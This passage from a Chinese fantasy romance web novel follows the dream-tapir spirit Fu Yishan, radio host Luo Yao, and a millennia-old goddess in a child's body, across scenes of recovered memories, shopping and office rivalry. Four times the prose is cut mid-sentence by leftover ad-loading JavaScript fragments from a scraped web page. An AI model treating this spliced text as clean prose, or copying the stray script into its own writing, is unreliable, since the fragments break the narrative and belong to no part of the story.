“洛小姐,很抱歉,之前我确实一直跟着你,包括你和你的朋友一起吃饭,你们去酒吧的原因我也已经知晓。”傅以山放下手里的筷子,他虽然嘴上说着抱歉,可说话语气和脸上的表情都丝毫让人感觉不到愧疚之意。 洛瑶实在想不到还有什么比当前更加尴尬的局面。 如果此时地上能裂开一条缝,让她钻进去就好了。 沉默震耳欲聋。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 片刻之后,洛瑶抬起头,用手撑住自己的下巴,讨好似地看向傅以山,努力笑着说:“要不我帮你买个手机吧?” 古人云,花钱消灾总没有错。 本来洛瑶以为傅以山会拒绝她,毕竟他都没有手机生活了那么久了。 结果傅以山出人意料地点头同意了,还美其名曰:“如果你觉得有必要的话。” * 夕阳逐渐隐没在城市的高楼大厦错落的缝隙之间,泛着湛蓝色的夜幕和最后一片暖黄色的阳光交融,隐隐约约呈现出奇妙的绿色。 傅以山坐在自家阳台上,身旁白色镂空桌子上放置着一杯香甜的卡布基诺。 夕阳拉长了傅以山投射在地上的影子,他的双腿随意的交叠,缓缓抬手将咖啡端起来抿了一口。 他喜欢奶咖,醇厚的口感,甜美的气息,能使人感到轻松愉悦。 这天气还是冷得厉害,一旦入了夜,阳台上的风可不是盖的,咖啡杯上不断冒出的热气剧烈晃动。 一瞬间,傅以山仿佛看见了那间净室里的熏香。 他没有告诉洛瑶,她其实并不需要特意告诉他自己梦到他。 梦貘是夜间行动的生物,漫长的长夜对于梦貘来说只不过是短暂的一瞬。 那天夜里,傅以山看见了洛瑶的梦。 在净室里,洛瑶是如何哀求洛明志的,傅以山都看在眼里。 他现在可以确定的是他以前是洛瑶的师父,洛瑶一家和他属于两个阵营,他曾是带兵打战的将军。 本身空落落的记忆海里因为两块新增的记忆碎片,慢慢拼凑出新的画面—— 寒风萧索,黑色的苍穹不断落下片片白色的雪花,伴随着呼啸而过的阵阵风声,席卷城外的驻扎大营。 “咳咳……咳……”营地的碳火明明烧得噼里啪啦直响,却掩盖不住断断续续的咳嗽声。 “救救我……我的孩子……求求……”断断续续嘶哑而又苍老的声音从战俘营里传出。 天寒地冻的夜,辛苦了一日的人们早早便躲进营帐享受冬日的温暖。 虽是留了不少守卫巡逻的人,此时也离不开篝火,谁都不愿搭理明日一开城门就不知生死的战俘。 战俘最终是怎样的结局,全凭当朝掌局人的一句话。 另一边,同样无人靠近的将军主帐忽然有了动静,一只掌心宽大,手指瘦长挺直的手从里向外掀开营帐,走出来一人,身披黑色大氅,长至脚踝,脚踩金纹乌云靴,所行之处,飞卷起白色的雪花。 原本已经深陷绝望的洛明志怎么也想不到自己的求救声竟会引来被世人称作“千年煞神”的傅以山。 不管是南夏还是北辰,近乎无人不知自傅以山带兵打仗以来,从不吃败仗。 说白了,谁的兵遇上他都要倒大霉。 洛明志自知如今沦为敌军阶下囚的处境,当即下跪,头伏地,连磕了好几个响头才敢说道:“大人,求求你救救小女吧。” 傅以山自上而下,俯视着对他跪地求饶的洛明志,淡然的目光一瞥,随即注意到了那个被自家母亲抱在怀里不断咳嗽的女孩。 她大约只有七八岁,因为连日的伤寒之症已伤及肺腑,此时脸色渐渐在由红转白,嘴唇冻得乌紫。 在天灾人祸面前,人类的生命往往便是是如此的渺小脆弱。 “我凭什么要帮你?”傅以山唇线抿直,眼神里看不出半点悲喜之情。 听见傅以山开口已是万幸,洛明志又赶紧拉着妻子磕头,“大人,若是您能救小女,我们一家人愿意一辈子当牛做马,为奴为婢。” 8. 独居 洛明志本是南夏的一位谋士,今年初刚被南夏晋王召入府中当幕僚。 谁曾想,晋王在与北辰傅以山一战之后大败,晋王带着几个跟随多年的心腹丢盔卸甲而去,留下府上其余人都被当作战俘,被迫从南夏一路迁到了北朝。 北朝的天比南夏冷得快,洛明志一家都是土生土长的南夏人,根本无法适应北朝的天气,特别是小孩,本身底子就差,没有治疗的机会,病就一直拖着。 见傅以山陷入沉默,洛明志无奈之下只好强扯着生病的女儿也一并跪下。 女孩冻得通红的手紧紧地攥着母亲的外衣,在寒风飞雪中瑟瑟发抖,分不清是怕冷还是害怕。 生死由命,各得其所,傅以山本不应该有任何的犹豫,可他忽而想起了小时候的自己。 要不是有上尊救他,他也早就一命呜呼了。 乌云靴在雪中留下的痕迹越来越深,在某一瞬间突然有了松动。 黑色大氅被风吹起,傅以山只留给了战俘营一个背影。 未过半晌,一个士兵带着军医而来,将洛明志一家三口带离的战俘营,给了他们一间专门的帐篷。 所有人都以为会一直下着的雪在漫长的冬夜结束之后便停了。 天一亮,城门大开,傅以山带着自己兵和洛明志一家三口启程回自己的领地海州。 * 深夜电台节目第二次开播。 这回洛瑶吸取了教训,为了保险起见,她留了个实习生和技术员壮胆。 节目很顺利地播完了,洛瑶做东,请实习生和技术员吃夜宵。 实习生陆雯雯是个特别喜欢灵异故事的二次元少女,她一坐下就开口聊起了最近的新闻。 H市近些天不太平,连着有好几起独居女人失踪案件,惹得警方甚是头疼。 “据说那些失踪的独居女人至今一个都没有找到。”陆雯雯今年才刚从象牙塔里出来就听闻这么骇人之事,不禁为失踪者感到担忧和惋惜。 “现在女孩子独居不安全啊,雯雯,你要不还是搬回去和爸妈一起住吧?”技术员李|鹏凑巧是陆雯雯同校的师哥,比陆雯雯早毕业一年。 陆雯雯的家离单位有点远,她平时便都住在单位给分的宿舍里,房租比外面的房子会稍微便宜些。 “唉,我爸妈最近也劝我回家住呢。对了,洛瑶姐,你是和爸妈住还是一个人住啊?”陆雯雯摸了摸自己发凉的后脖子,向洛瑶表示关心。 “我爸妈在外地工作,我基本是一个人住的。”洛瑶慢条斯理地吃完串串,努力淡定地说。 洛瑶的父母是做生意的,早年H市为了保护环境,不让工厂进驻,所以洛瑶的父母只能把厂子迁到H市边上的A县,常年待在A县照顾生意。 洛瑶小时候在A县上学,后来大学考上了H市之后,她父母就把H市的老房子重新装修了一番,让她住着。 “啊,那你要不先找你朋友住,或者搬来和我一起住吧。”陆雯雯热情地向洛瑶邀约。 洛瑶不甚在意地挥了挥手,“安啦,警|察叔叔会保护我们的。” “你们有没有觉得这或许是个挺好的题材?”李|鹏冷不丁接上了一句话。 “不是吧,这人血馒头你都吃?”陆雯雯鄙夷地瞪了李|鹏一眼。 “哎呀呀,你可冤死我了,我只是由此想到之前闻组长说的都市怪谈,比如城中出现一只千年大妖怪,专门挖取独居女人的心脏。”李|鹏声情并茂地提出了自己的想法。 “你这绝对会引起舆情的,我在学校里选修过公关课,本来现在公众对于此类恶性事件已经很害怕了,如果媒体还宣扬,那更是会引起社会混乱的,我说的对吧?洛瑶姐?” 洛瑶在听到“千年大妖怪”几个字的时候,感觉整个人都被雷击中了一样。 她好像从来没把傅以山和这些事联系在一起,在她看来,目前傅以山表现出的彬彬有礼已经成功迷惑了她。 倘若这傅以山是为了她的心脏而来呢? 顿时,她手上的串串都不香了。 “而且,你这编的故事也太老套了,”陆雯雯嫌弃的语气不加掩饰,“现在流行的大妖怪都是女人的梦中情人好吗?” 洛瑶感觉自己的膝盖上中了一箭,她放下了手里的串串,努力勾了勾嘴角,把眼睛笑弯成月牙儿,“孩子们,吃得开心吗?时间好像有点迟了。” 本来下班时间就很非人类,加上一顿夜宵的时间,街上就更没几个人了。 洛瑶开了车,李|鹏和陆雯雯都没有车,于是洛瑶便提议自己可以送他们回去。 他们吃饭的地方离单位就几步路,且李|鹏和陆雯雯都住在宿舍,两个人正好可以一起送,送完之后洛瑶自己再开回家回家也是顺路的。 当初洛瑶父母是反对自家女儿读传媒学院的,可偏偏洛瑶坚持想当电台主播。 这么多年来,洛瑶一直自己独自在H市打拼,只有过年过节才去A县和父母团聚。 说不孤独是假的,但是呢,洛瑶又不愿意将就。 追她的人中不乏一些优秀人才,她也试着和他们有过几次体面的接触,在接触中她总能发现对方身上的缺点,这些缺点让她无法忍受,她觉得还不如自己一个人过来的舒坦。 回到只有自己一个人的家中,洛瑶突然想起了陆雯雯提到的独居女人事件,心里不由发慌。 于是她给颜子打了通电话,颜子二话不说便跑来作陪了。 “你说说你,一个要相貌有相貌,要身材有身材的大美女,为啥在这种深夜都没有个小帅哥找来玩呢?”颜子端着自带的罐装啤酒,斜眼看着洛瑶。 洛瑶顺势拿自己手里的啤酒和她碰杯,嘻嘻笑道:“帅哥哪有颜子姐姐对我好啊!” 颜子推了推洛瑶的肩膀,不怀好意地笑道:“咋了?和上次那个帅哥闹不愉快了?” 洛瑶用了两秒才想到颜子在说哪位。 那哪是啥帅哥,那是咱们的老祖宗啊。 洛瑶眼神复杂地盯着颜子,问了她一个问题:“你觉得独居女人真的有那么危险吗?” “危险啥?”颜子灌了一口酒,像听到个好听的笑话,“像我这样的独居女人,是别人觉得我危险,但你吧,你得小心。” “小心啥?” 颜子神秘兮兮地凑到洛瑶耳边,“小心被男人骗。” “……” “说真的,骗子最喜欢骗你们这种单纯的白富美了。” “比如怎么骗呢?” “我有个朋友之前去测塔罗牌,那人说她将有血光之灾,说起来神乎其神的。” “然后呢?” “这之后,我朋友确实遇到了一些不顺心的事情,直到有天她过马路差点被撞,这时候戏剧性的事情发生了。” 颜子像说书一样,大喘了一口气 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 后继续说道:“一个帅哥从天而降,把她救了。” 洛瑶一直悬着的心咯噔一下,不可思议地问:“是真的从天上飞下来的吗?” 正讲话在兴头上的颜子翻了个大白眼:“大姐,别单纯了,好故事总要有点艺术加工的嘛。” “好吧,那您继续。”洛瑶低下头,做了个“您请”的姿势。 “这个帅哥很快就让我的朋友陷入爱河了,结果后面他说自己并不是人类,他要留在人间的话,需要我朋友付出爱情的代价。” “啥叫爱情的代价?” 颜子拍了拍洛瑶的肩膀,对她好奇的表情很是满意,意味深长地伸出手,将大拇指和其余四指捏住,揉搓了几下。 “我那个朋友给对方买包买衣服买手机,前前后后花了十几万。”颜子痛心疾首地说道。 越听越觉得不对劲的洛瑶忍不住打了个嗝,这让她不联想到自己最近的经历都难。 巧的是,她正打算给梦貘买手机。 除了她经历的“瞬间移动”外,其他都符合诈骗套路。 “所以说,女的千万别太主动给男的花钱,容易掉入陷阱里。” “……” 这一刻,洛瑶捏着啤酒瓶开始若有所思。 而恰好在屋顶上沐浴月光,吸收天地日月精华的傅以山也不由地开始反思。 * 夜越来越深,城市的喧嚣也渐渐褪去。 黑色的身影在城市上方穿梭,轻点过树枝、树干,只有树叶随风沙沙作响,在层层叠叠的枝叶遮蔽下,最后落在了郊区的别墅阳台上。 阳台的门推开一条缝,恰好够一个十岁的小孩侧身走过。 暖黄色的光束从门缝里倾泻出来,为原本笼罩在黑暗之中的阳台增添了一抹色彩。 “搞什么鬼?你小子就不能早点来找我?小孩子这个时间不睡觉会长不高的。”梳着两条麻花辫的小女孩嘟着嘴,烦躁地指责起她面前的这位不速之客。 “神女,如果我没记错,您今年应该超过一万岁了吧?”傅以山略一迟疑,半带轻笑道。 神女是人间的守护者,如果没有合适的接班人出现,神女便会一直滞留在人间,寻找不同的人类宿主,这一代的神女在人间滞留的时间已经超过傅以山了,这个一出生就生活在一线城市别墅区的小女孩便是她所找的第N个人类宿主。 神女剜了他一眼,没好气地说:“我很快就要退休了,到时候这具人类小孩的身体要是长不高都怪你。” 傅以山将手放进外套口袋里,不以为意地道:“恐怕他们暂时还找不到能替代您之人。” “哎呀,快别提这糟心事了,说吧,找我|干什么?”神女不耐烦地摆了摆手,眉心的褶皱更加明显起来。 “我找到那个人了。”傅以山看向夜幕中那一轮明月,眼神中噙着些许哀伤。 “那你想好怎么做了吗?”神女当然知道这是傅以山的心结,口气认真了不少。 傅以山摇了摇头。 “如果你一直放不下心中的执念,上尊是不会让你回去的。”神女颇有些同情傅以山,偶尔也会觉得自己和他同病相怜。 傅以山苦笑,“她怕我,不愿意我陪着她。” 神女上下打量了他一眼,随后嫌弃地说:“看来过了几千年,梦貘大人对女性的吸引力也大打折扣,明天,你跟着我走吧,我勉为其难地教教你。” 9. 神女 周末的商场,从一楼到六楼,随处都是人。 五楼和六楼是各色餐厅,就连平时口碑不太好的店铺,此时此刻都要排队拿好。 位于五楼的一家网红烤肉店,平时排队都要一个小时以上,更何况是周末。 好在神女让自己的管家提前和餐厅打了声招呼,给他们特意安排了一个VIP位置。 “有一点我比较好奇。”傅以山自觉地担任起烤肉的工作,将腌制过的五花肉放置在烤盘上,让其在滋滋作响的同时散发出油脂的香气。 “你说。”神女一边吸了一口她最爱的草莓牛奶,一边坐在傅以山对面晃动双脚。 “你家里人是怎么放心你一个小孩独自出门的?”傅以山慢悠悠地用夹子翻动着烤肉。 神女满心期待地想要品尝美味,对傅以山很是敷衍地说道:“谁和你说我是独自出门的?保镖和司机都在楼下待命呢。” “可你毕竟……”还只是身高不足一米三的小屁孩。傅以山抬起眼眸,和神女对视了一眼,终是没把后半句说出来。 他明白自己手中的活儿是一刻也不能停下,否则他将被神女用眼神暗杀。 “我爸妈不管我的,本小姐从小就是神童,想怎样就怎样。”神女满不在乎地继续喝她的草莓牛奶。 或许这可能就是神女选择这一家人的原因吧,少受点束缚还是挺好的。 “那请问神童,我们吃完饭有什么安排?”傅以山贴心地将烤好的肉剪成一块一块,夹到神女的碗里。 神女用生菜一口气包了三块肉,往小嘴里塞,举起手向傅以山做了个“STOP”的手势。 傅以山心领神会地给她添了杯茶。 毕竟是多年的老友,傅以山知道神女不太喜欢在吃饭的时候聊天,索性闭了嘴,安静地当个陪衬。 等到神女完完全全吃饱喝足,再也吃不下了,他们才从烤肉店离开。 两人一路坐着电梯下楼,到达了男装区。 “神女这是何意?”傅以山跟随着神女的脚步在一个挂着荧光绿外套的橱窗前停下。 “你说对方还是二十多岁的小姑娘是吧?”神女用手指轻点下巴。 “二十五岁。” 神女从头到脚,用鄙视的眼神将傅以山打量一遍,随后说道:“看,这就是最大的问题,她才二十五岁,可你的穿着像她爸爸。” “……”身穿卡其色衬衫,黑色西裤,黑色风衣的傅以山不由得陷入自我怀疑。 他自认为平时对穿搭还是蛮有心得的,虽不说是多贵重的名牌,但也是精心挑选的,比较合身的衣物。 可神女给他挑选的衣服却是他平时觉得自己驾驭不了的风格——各种颜色连帽卫衣、宽松夹克外套、不修边幅的工装裤…… 傅以山一套套试下来,愈发感到疲倦,而神女却眼睛发光,对此事乐此不疲。 最后,他们选下了一大堆衣服,一位店员欣喜万分地帮他们打包,另一位负责收银的则礼貌地询问傅以山:“请问您是要如何支付?” 傅以山转头看了神女一眼,神女此时双手插兜,一只脚在地上打拍子。 虽然她对她挑选的衣物很是满意,但显然这费用是要交给傅以山承担的。 傅以山向来从善如流,既然是神女的意思,他也不好违抗,便主动掏出了自己的银行卡。 神女头一歪,靠近傅以山耳边问道:“你咋不用手机支付?” 傅以山摇了摇头,牵起嘴角道:“我没有手机。” “你没有手机怎么和对方培养感情,等下马上去买一个。”神女急得跺了跺脚。 “用手机培养感情?”这显然已经超过傅以山认知范围。 神女颇为嫌弃地看了他一眼,“现代人都这样,你竟然连这都不知道?” 傅以山本来想说自己对人类的事情不感兴趣,他的心里除了找回记忆就是当好魇昧清道夫这一工作,可是就算他不说,神女也已经对他的情况很是了解。 “唉,看来还得靠我,你等会可要请我吃冰淇淋哦。”还没等傅以山说出口,神女就已经转过身去,在前面带路。 傅以山只好跟上她。 这年头买个手机还是很方便,手机卡也一并能办了,店员全程热心指导,再加上神女的助力,分分钟搞定。 “你妹妹懂的可真多啊。”店员显然误以为傅以山和神女是一对兄妹,二人养眼的外貌很容易使人倍增好感。 傅以山冲店员小小,作为神女的“假哥哥”,他其实挺好奇她一个小孩是怎么懂这么多的。 神女眼睛向下垂,神色有些复杂地说:“等我退休了,我就会是个凡人,我当然要提前学习下凡人是怎么生活的。” 傅以山虽然知道神女终究会退休,但她会变成凡人这件事却是第一次知道。 如果神女最终会变成凡人,那他呢?他最终的归宿又是什么? 他想追问,可神女显然不愿意多说了。 “走吧,给我买个冰淇淋吧。”神女酷酷地留给傅以山一个背影。 临近圣诞,某冰淇淋品牌推出了一款圣诞树造型的甜筒,抹茶味的冰淇淋做成树的形状,底下的蛋筒则是模拟树干的形状,做成了方形,而且还调制出了巧克力味。 傅以山从店员手里接过制作好的冰淇淋,刚想转头递给神女,却发现她已经不在了。 冰淇淋店面很小,一眼就能看到人不在店里,不过傅一山一走到店外就看到她了。 小小一只站在看起来人很多的隔壁商铺里,正聚精会神地不知在看什么。 傅以山走到神女旁边蹲下,贴心地把冰淇淋交接到她手上。 神女刚想开口感谢,旁边猝不及防传来一声惊呼。 “傅以山?!” 傅以山河神女几乎同时抬起头。 原本手里正拿着一个盲盒摇晃的年轻女人在见到傅以山之后睁大了双眼,她今天穿了一件浅米色的毛衣,全部的头发在头顶扎成了一个丸子,相比于平时上班穿的通勤风格,平添了几分俏皮可爱。 手中的盲盒因为无意识地松开而下落,被傅以山及时捡到。 傅以山将盲盒归还给洛瑶,“小心。” “哈喽帅哥,我叫颜子,是洛瑶的朋友,上次是你救了我们对吧?”颜子这人向来自来熟,而且见到帅哥就走不动路。 傅以山客气地同颜子握了握手,“颜小姐记忆力真好。” 那天明明颜子已经烂醉如泥,可却还记得傅以山的样子,这让洛瑶不得不打心底里感到佩服。 “爸爸,我也想要这个盲盒。”此时一旁的神女突然发话了。 剩下的三个人都一 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 度怀疑自己是不是听力出了问题。 “爸爸”两个字,冲击力着实太大了。 洛瑶差点惊得掉下巴。 她眼前的傅以山,今天的穿搭符合当下年轻小伙子的审美,灰色的卫衣,深蓝色的棒球服,比棒球服颜色略浅的牛仔裤。 说是大学生也不为过,咋就突然喜当爹了? 不止洛瑶,颜子也大为震惊,不过好在她反应快,赶紧拽起洛瑶的手臂,“哦呵呵呵,那我们就不打扰你们买东西了,洛瑶,你刚是不是说还想买衣服来着,我们赶紧去吧。” 这个让人尴尬的局面任谁遇上都想火速逃离。 傅以山是梦貘,已经活了几千年,那这个小女孩呢?不会也是梦貘变的吧?或者是梦貘和人类的孩子?他们不会有生殖隔离吗? 本来还在观察傅以山和神女的洛瑶感觉自己的脑子一下子转不过来弯了,就只好先和颜子走了。 傅以山看着仓皇而去的二人,无奈地瞥向神女,笑道:“所以你要买哪一个?” “小孩子才做选择,我当然是全部都要。”神女丝毫没有表现出要对刚刚之事进行解释的意思,反而理直气壮地驱使傅以山帮她买单。 盲盒,顾名思义,就是盒子里装着样式多样的可爱玩偶手办,但盒子上并没有标注具体是哪一款,而有一批人是“端盒”爱好者,就是指神女这种不在一个个盒子里挑选,而且选择把整个系列的玩偶手办都买回家。 神女将收获颇丰的“战利品”递给自家助理,转头对一路护送她来到车前的傅以山说:“刚刚那个丸子头就是你找到的人吧?” 傅以山不意外地点了点头。 “人看起来挺单纯善良的,建议你再去买一套盲盒送给她,刚才看她的样子,肯定是误会了。”神女摸着下巴,一副老神在在的样子。 “所以你为什么那么叫我?”傅以山心知神女是不会平白无故让他占便宜的,毕竟就算是上尊也要敬她几分,和她一比,他不知是低了几辈的小辈。 “好玩啊,你就不好奇她要是误以为你有女儿是什么反应?”神女狡黠地做了个鬼脸,露出了孩子气的一面。 “你觉得她会是什么反应?”傅以山苦笑不得地摇着头。 “这得你去找她验证啊,别在这儿磨蹭了,快去快去。”好奇心爆棚的神女忍不住开启赶人模式。 * 洛瑶被颜子拉走之后,并没有再在商场逛下去,因为颜子临时接到甲方通知,要回家改稿子。 原本的闺蜜周末约会无奈戛然而止,两人只好各自打道回府。 一回家,洛瑶便倒在了客厅的沙发上。 回想起刚才颜子临走时对她的嘱托—— “我收回我之前的胡言乱语,既然那个帅哥有孩子了,你还是离他远点吧,可别一不小心当了第三者。” 傅以山有孩子这件事,洛瑶一开始也确实是没考虑到,回想起来,她连傅以山是否有老婆这件事就更不知道了。 如果傅以山有老婆孩子还天天跟着她,也太像渣男行为了吧。 洛瑶愤愤地锤了下沙发上的抱枕。 就在此时,她的手机发出了声响。 原来是傅以山发来一条微信:到家了吗? 洛瑶还没想好怎么回,他又发来一条:“方便开下门吗?” 10. 惧怕 一想到还没过去多少时间,傅以山就丢下娃过来找她了,洛瑶多少有点爽利,索性把手机丢到一边装死,拿起电视遥控,开了电视看。 电视上正好在放老剧《新白娘子传奇》,白素贞无意间在端午节误喝了雄黄酒,变成了大蟒蛇,许仙当场吓晕。 洛瑶正看得津津乐道,却不料一位不速之客凭空出现,好死不死还正巧挡在了她的电视机前面。 这位不速之客不是傅以山是谁。 他这是拿我家的门是摆设吗? 洛瑶虽然已经对他的突然出现免疫了,但还是怒气火中烧,没好气地问道:“你们梦貘有没有怕什么东西,比如像白蛇怕雄黄酒那样。” “你为什么想知道这个?”傅以山适时地走到一旁,为洛瑶让出了看电视的空位。 “我试试下次在门口撒点啥,能阻止你进来。”洛瑶翻了个大白眼,没了看电视的兴致,索性把电视关了。 傅以山不恼反笑:“首先我要纠正你,不能说你们梦貘,梦貘只能是我一个,只有我才能叫梦貘。” “呵,好吧,梦貘先生,那请问您有什么怕的东西吗?”管他到底是什么妖怪,洛瑶打心里面不待见他。 白蛇怕雄黄,九尾狐怕老虎,传说中黑狗血也能避邪挡灾。 梦貘虽然没有惧怕的东西,但却有意见惧怕的事情—— “我怕找不回记忆,永远回不去上尊身边。”傅以山和洛瑶保持着距离站在那里,竟生出几分遗世独立之感。 说来也是奇怪,明明身处在同一空间,可双方之间却相隔万年。 “那你的意思是如果你找回记忆,就会离开这里?”洛瑶捕捉到了一丝机遇。 “准确来说,我会离开人间。”傅以山眼神里没有任何留恋地说,“我本就不属于这里。” “你不属于这里?那我梦里面那个将军是谁?那个也叫洛瑶的女人和你到底是什么关系?”洛瑶有点想不明白。 “不记得是多少年之前了,那时人间有异动,我随上尊来人间探查,机缘巧合之下成为了一名将军,当时战俘营里有一个人叫洛明志,他的孩子生了重病。”傅以山娓娓道来。 “你救了他们一家人,并收那个女孩为徒弟,但是后来再度打战的时候,洛明志背着你带着一家人跑路了?”洛瑶下意识地把后面的故事补充完。 傅以山神色变得有些复杂起来,事情应该没有洛瑶说的那么简单,他不确定洛瑶是还没有梦到更多还是故意隐瞒。 “你别那样看我,那么久以前发生的事,就算真是我的前世,那我也和他们一家没关系,我爸现在也不叫洛明志。”洛瑶显然是误会了,她怕傅以山因为那些陈年旧事而找她麻烦。 虽然他现在已经够麻烦的了。 “我知道以前的事情和你无关,你不必担忧,我对你没有恶意,你的梦是我唯一找回记忆的线索。”傅以山收敛了些许严肃的模样,突然手边多出了一个袋子,在洛瑶还在疑惑不解之时就已经走到她身边将袋子递给她。 “盲盒?”接过袋子的洛瑶迫不及待将里面的东西拿出来,狐疑地上下打量傅以山,“所以你这是想讨好我?” 傅以山唇角微微上扬,“看你好像喜欢这个。” “小孩子才喜欢的玩意,你还是给你女儿吧。”洛瑶可不太敢收妖怪送的礼物。 “女儿?你是说神女吗?” “哦,原来你们那里叫女儿叫神女?” “不是,我从未有过婚姻,何来子女?”傅以山哭笑不得。 “未婚也可以生子啊。”洛瑶的脑子还是没有转过弯来。 “这并不符合道义。”傅以山捏了捏眉心,定下心解释道:“神女是负责管理人间的人,她和我没有任何亲缘关系。” “可她不是叫你爸爸吗?”洛瑶坚信自己的耳朵没有问题。 “先前只是开玩笑罢了,她其实和上尊差不多年纪。”傅以山很是真挚地回答道。 如果洛瑶没记错的话,上尊是比傅以山要长一辈的,那么说这神女也算是傅以山的长辈了,可她明明看起来就还只是个半大的孩子。 洛瑶倒吸了一口凉气,用有些吃惊的口吻问道:“那你活了那么久都是孤身一人,没有爱人,没有子女吗?”她不太相信在那么长的岁月里,傅以山从来没有过感情史。 傅以山摇了摇头,“我不是人类,并不具有和人类一样的情感,我习惯了在黑夜里游走,白天在家里休息,并不喜欢和外界打交道。” 洛瑶陷入了沉默,如果像傅以山所说的这样,他却收留了洛明志和他女儿,想必这两个人对他来说都是特殊的吧。 可偏偏这两个人最后都离开了他。 “我们打开天窗说亮话吧,你的记忆现在恢复了多少?说实话,我的梦里洛明志和洛瑶都离开了你,后面发生的事情,你还记得吗?”洛瑶希望他快点找回记忆,快点离开这里。 “不记得了。”傅以山实话实说。 “那个神女也不知道吗?她应该比你厉害很多吧?”洛瑶突然想到傅以山之前说神女是掌管人间的。 “在你看来,怎么样算厉害?”傅以山发问。 洛瑶摸着下巴寻思半天找到了一个比喻:“就是比如孙悟空和猪八戒的区别,猪八戒只有36变,而孙悟空有72变。” 傅以山脸僵了僵,随后温和一笑,“洛瑶,我看过西游记,那并不真实。” “唉,跟你们这些老人家讲话真费劲。”洛瑶垂下头叹了一口气。 “老人家?” “您不是活了好几千年的老光棍吗?” 伤害性不大,但侮辱性极强。 傅以山一时说不出话来。 “拿来吧。” “什么?” “盲盒。” 傅以山把盲盒递给她,心想:果然,神女说女人都是口是心非的并没有错。 “既然这样,你的礼物我便收下了,你什么时候有空,我们一起去买部手机,以后要是再梦到有关你的记忆,我会告诉你的。”洛瑶现在感觉收下傅以山礼物有了名正言顺的理由,心情也畅快多了。 傅以山把盲盒递给她,同时从口袋里拿出了手机,“我已经买好了。” 没想到这妖怪还挺有心,上次刚说完,这么快就买好了,洛瑶突然就觉得这妖怪好像也那么讨人厌,比某些人类好多了。 但是,上次李|鹏随口一讲的事情还是如同一根刺扎在洛瑶心头,她从上到下打量了傅以山一番,还是直接开口问他:“是这样的,最近我在负责我们台里一档叫做深夜电台的节目。” “深夜电台?” “对,你有听过广播吗?是一个在深夜12点播出的广播电台节目。” “很久以前倒是有听过。” “这不重要。”洛瑶赶紧把话题引到正轨上,“重要的是我同事说最近有很多独居女性无故失踪,所以在这座城市里,除了你以外还有其他的大妖怪吗?” 傅以山身上还穿着下午那身青春靓丽的衣服,头发好像也精心打理过,像明星似的,只要他不说,谁能知道他是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 妖怪。 洛瑶见傅以山没有马上回答,竟然有些不安起来,下意识地将自己放在沙发外边的脚给收回来。 傅以山见状,立刻作出保证:“你放心,我不会让任何人伤害你,包括我自己。” * 深夜电台节目经历过第一期惊险的节目录制后,收听率竟然一天比一天好起来,开会的时候,闻芳卉的脸色一天比一天难看。 原因很简单,她接受的节目收听率涨幅还没有深夜电台高。 在郭杰面前,闻芳卉脸面抹不开,给自己硬是找了个台阶下:“深夜电台原本的收听率不太行,多亏了洛瑶,让节目起死回生,要是换了别人,恐怕做不出现在的效果。” 什么叫换了别人做不出效果?收听率差还不是因为你个人能力问题?管别的无辜的人什么事? 洛瑶刚想回怼,结果郭杰用赞许的语气截住了话头:“是啊是啊,这回洛瑶记头功,不过还需要再接再励,我听说现在的节目只有一个环节是吧?” 因为按照闻芳卉之前的计划,节目时长为一小时,加上中途的音乐广告,实际只有二十分钟。 “杰哥是有什么好的想法吗?”闻芳卉及时地送上“马屁”。 “我觉得可以增加与观众互动的时间,每天可以接通一则来自听众的电话,这样可能会更有利于增加听众黏性。”郭杰提出了自己的看法。 洛瑶忍不住送了闻芳卉一记冷飕飕的眼刀。 郭杰的这个主意其实洛瑶之前和闻芳卉建议过,只不过她回绝说:“洛瑶,你不能拿以前做节目的思路继续做深夜电台,深夜电台以前也是观众留言,可内容低俗不说,还容易引发舆情。” 这回洛瑶不说话了,幸灾乐祸地等着闻芳卉自己打脸。 “杰哥,这个想法好是好,可因为节目时长的关系,恐怕洛瑶要加班了。”闻芳卉非但没有懊悔之意,反而露出了狐狸尾巴。 洛瑶忍着肺都要气炸的怒火,笑着说道:“我觉得原本的放歌曲环节其实没什么必要,可以取消,再加上目前也不知道会有多少人打进电话,而且为了避免舆情,我觉得最好还是需要个能把关的人坐镇。” “坐镇?”杰哥反问道。 “就是比如需要筛选掉一些打进来发酒疯的人,我们需要的是真正能分享个人故事的热心观众。”洛瑶补充道,顺便将眼神轻描淡写地落在闻芳卉身上。 “对对,这个主意倒是不错。”郭杰附和道。 在场的能比洛瑶更符合审核机制的只有郭杰和闻芳卉了,郭杰自己肯定是不愿意的,他要是每天晚上留下和女下属一起工作,他老婆孩子估计会来单位门口大闹特闹。 因此,审核的重任只能落到闻芳卉头上。 “可是杰哥,我之前提过我在准备结婚的事宜,恐怕抽不出时间。”闻芳卉脸色难得出现了为难的神色,她平时在领导面前鲜少如此窘迫。 “我知道我知道,不过你的婚假是请在年底吧?现在这节目刚起步,你就先试一个月看看,雯雯跟在你旁边先学习,等她正式入职了,就可以换人了。”郭杰还是考虑到了闻芳卉要结婚的对象是谁的,要不是实在没人,这一个月他也是不会让闻芳卉参与的。 “闻组长,这个筛选应该不会占用你太多时间的,相信以你的能力肯定能做好的,是吧?”此时补不刀,何时才能补上?洛瑶适时地勾起了胜利的嘴角。 想让她加班的话,总得付出些什么吧? 平白无故让她加班,就跟着一起趟这浑水好了,感受下社会的险恶。 11. 饕餮 筛选公众来电这事,可大可小,一不留神,放了一个奇葩电话进来,难保电视台不会被有心之人拿捏住把柄。 毕竟上次发生在洛瑶身上的天台事件才刚刚过去,不少眼睛都在盯着这座位于市中心的广电大楼。 闻芳卉身为组长,责无旁贷,可她的心情却怎么也美丽不起来,一边逮着个机会训斥实习生陆雯雯,一边还不忘给隔绝在演播室里的洛瑶一个挑衅的眼神。 大概忍了有一分钟时间,洛瑶将头戴式耳机拿下来,火速走到演播室外面,冲着闻芳卉粲然一笑:“闻组长,节目马上就要开始了,热线电话可以先准备起来了。” “我正好就在说这热线电话的事,怎么搞的,我们发在公众号上的这篇稿子里,居然把电话给弄错了。”闻芳卉嘲讽道。 